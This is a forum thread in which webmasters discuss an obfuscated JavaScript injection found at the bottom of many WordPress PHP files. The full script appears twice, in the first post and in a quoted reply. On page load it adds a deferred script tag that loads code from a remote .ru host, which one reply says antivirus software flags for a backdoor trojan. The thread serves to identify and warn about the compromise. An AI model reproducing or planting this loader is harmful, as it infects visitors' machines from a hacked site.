anyone seen this? code injection..

Collapse
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • SIK
    Confirmed User
    • Dec 2006
    • 1497
    #1

    anyone seen this? code injection..

    I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
    Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to...

    <script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script>
    <!--b9a827d8a9686a8057739c6e91a4cbcc-->
    ¤´¨)
    ¸.•´¸.•*´¨) ¸.•*¨)
    (¸.•´ (¸.•`¤ICQ:491 496 482
    Tags: None
    • Mutt
      Too lazy to set a custom title
      • Sep 2002
      • 34431
      #2
      Originally posted by SDesign
      I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
      Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to...

      <script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script>
      <!--b9a827d8a9686a8057739c6e91a4cbcc-->
      it's a good thing, consider yourself lucky you've been selected to work with labelstare.ru - great site. only good things can happen.
      I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

        Comment

        • SIK
          Confirmed User
          • Dec 2006
          • 1497
          #3
          I'd really like to know what the hell does that thing do? Any chance it changes aff links?
          ¤´¨)
          ¸.•´¸.•*´¨) ¸.•*¨)
          (¸.•´ (¸.•`¤ICQ:491 496 482

            Comment

            • Jdoughs
              Confirmed User
              • Mar 2004
              • 5794
              #4
              Originally posted by SDesign
              I'd really like to know what the hell does that thing do? Any chance it changes aff links?
              My first thought was cookie switcher/replacer or stuff. But I know shit about scripting, I just know a few reasons they would/could.
              LinkSpun - Premier Adult Link Trading Community - ICQ - 464/\281/\250
              Be Seen By New Webmasters/Affiliates * Target out webmasters/affiliates based on niches your sites are for less than $20 a month.
              AmeriNOC - Proudly hosted @ AmeriNOC!

                Comment

                • CruelMedia
                  Confirmed User
                  • Nov 2009
                  • 391
                  #5
                  our coder says: "you have a security breach.. somebody injected a harmful script on your site"..
                  When in doubt.. Fuck!
                  ICQ 552426687
                  http://<span style="color:Cyan">www....cks.com</span>

                    Comment

                    • LoveSandra
                      So Fucking Banned
                      • Aug 2008
                      • 10551
                      #6
                      Originally posted by Mutt
                      it's a good thing, consider yourself lucky you've been selected to work with labelstare.ru - great site. only good things can happen.

                        Comment

                        • Caligari
                          Confirmed User
                          • Oct 2009
                          • 5414
                          #7
                          SDesign where does that actually show up on your wp page? in a template?
                          ATTN Webmasters Cruel Bucks - LIVE Gonzo Does Not Pay
                          ------------------------------------------------
                          Animal Rescue Click Here to Feed An Animal for Free

                            Comment

                            • SIK
                              Confirmed User
                              • Dec 2006
                              • 1497
                              #8
                              nope, seems like it was injected into .php wp pages, its on the bottom, below closed html tags

                              I got like 50+ wordpresses to remove it, kinda lazy to do it today
                              ¤´¨)
                              ¸.•´¸.•*´¨) ¸.•*¨)
                              (¸.•´ (¸.•`¤ICQ:491 496 482

                                Comment

                                • VGeorgie
                                  Confirmed User
                                  • Nov 2008
                                  • 359
                                  #9
                                  Originally posted by SDesign
                                  I got like 50+ wordpresses to remove it, kinda lazy to do it today
                                  Google hasn't yet flagged labelstare dot ru as malicious but McAfee doesn't like it, saying it attempts to download a backdoor trojan. If Google lists the labelstare site as malicious, and it detects your sites have links to it, you'll get added to their "This site may harm your computer" list. Not fun to undo that.

                                    Comment

                                    • V_RocKs
                                      Damn Right I Kiss Ass!
                                      • Nov 2003
                                      • 32447
                                      #10
                                      Never host wordpress on a shared server.

                                        Comment

                                        • BIGTYMER
                                          Junior Achiever
                                          • Nov 2004
                                          • 17066
                                          #11
                                          That code is doing something with google and ebay. Not sure what yet.

                                            Comment

                                            Previous template Next
                                            Working...